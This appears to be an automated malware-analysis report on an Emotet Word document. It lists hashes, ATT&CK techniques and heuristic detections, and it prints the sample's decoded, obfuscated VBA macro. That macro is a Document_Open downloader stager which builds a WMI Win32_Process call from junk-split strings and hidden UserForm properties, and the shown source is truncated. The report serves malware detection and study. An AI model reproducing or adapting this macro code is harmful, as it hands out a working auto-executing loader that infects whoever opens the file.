Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 44d9394c2e196d5e…

MALICIOUS

Office (OLE)

225.2 KB Created: 2020-08-13 20:11:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 803a805b188b75da3d05060ecbac4179 SHA-1: b430049abc2c29bad5f6db63e003239329d39a86 SHA-256: 44d9394c2e196d5efec0594e23b40a5b30a4d432de6f31e35fc06e0d0b0aaedc
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm command stager. This technique, combined with the ClamAV detection signature 'Doc.Malware.Emotet-9319351-0', strongly suggests Emotet activity. The macro appears to be designed to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9319351-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9319351-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4182 bytes
SHA-256: b758b0898420c74edd11e705655ab4d74a2286c26500d8d16bc122efe533fcb1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DRLOTdsepsttkmwuup"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GKMKDwknzqxuxlel.LEXAUjikdxrrnkf
End Sub


Attribute VB_Name = "GKMKDwknzqxuxlel"
Attribute VB_Base = "0{197CBDBD-9A4F-421C-B623-870167C44BB8}{AD0A18B4-3D55-4E41-BB08-DA2862849D50}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function LEXAUjikdxrrnkf()
BZTSCzvbmtnrpeup = GKMKDwknzqxuxlel.Zoom
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
LMJPHtwygvjqmclaick = ChrW(BZTSCzvbmtnrpeup + (100 + 35) / 9)
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
URDMVmitwppzh = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + LMJPHtwygvjqmclaick + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + GKMKDwknzqxuxlel.VKOPJibxvelkjnyrfmp + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
NJMTUshdsjzt = YOZNErlmjtylyg(URDMVmitwppzh)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set ZVQCOykidzut = CreateObject(NJMTUshdsjzt)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
IHAXNhvthqjhhxzr = GKMKDwknzqxuxlel.WVWGUtszcmqn.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
BCOLYewxwildthr = FDYPUplgogvp + (NJMTUshdsjzt + LMJPHtwygvjqmclaick + GKMKDwknzqxuxlel.NADCOcdpitvrekomcn.ControlTipText + IHAXNhvthqjhhxzr)
Dim gs2ËgnTcKiQ As String
VNGZZbsspoeodj = BCOLYewxwildthr + GKMKDwknzqxuxlel.VKOPJibxvelkjnyrfmp
Dim N0ÚPb8Ì As Double
Set KHQINthesjyyj = YOQLDvuuowceo(VNGZZbsspoeodj)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
VXKMUtbefprnudcy = Array(NBYAUhlzvfsmiqjfhm + "IZDCLwzogbaliit TROAPynzoiswyhimq PWJYMdutfyutjepx", ZVQCOykidzut. _
Create(GYPAPmlslfzea, OSLWJmdocddpysnv, KHQINthesjyyj), SWJUElgwtofuzogbs + "UESGKfkjzregfgypls UJHFApxytdpwogyt")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function YOQLDvuuowceo(ZBKYJwmzmiphw)
Set YOQLDvuuowceo = CreateObject(ZBKYJwmzmiphw)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
YOQLDvuuowceo. _
showwindow = ALMEKulorniywjcon + KMYRQmgqgkvqzhnhpaf
Dim a4Õg As Object
End Function
Function YOZNErlmjtylyg(JUBUEwzbrxxuhcccpy)
NHCUYnxdqzhn = JUBUEwzbrxxuhcccpy
Dim nGcyUDpZ As Byte
KFOTIpiarefb = Split _
(NHCUYnxdqzhn, "832[sahj hui12t7" + "gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
ZCIWWzqkhftrvwuib = KOWRJcpaxtmiaj + Join(KFOTIpiarefb, HRIVAxtoataoblpu)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
YOZNErlmjtylyg = ZCIWWzqkhftrvwuib
Dim kFPSyh As Object
End Function
Function GYPAPmlslfzea()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
KUOZXsuarsrgvo = GKMKDwknzqxuxlel.SBFSFmxzualwtnchh.Pages(vbOK / vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
GYPAPmlslfzea = YOZNErlmjtylyg(KUOZXsuarsrgvo)
Dim B0ÃjUg As Integer
B0ÃjUg = 9
Do While B0ÃjUg < 9 + 1
B0ÃjUg = B0Ãj
... (truncated)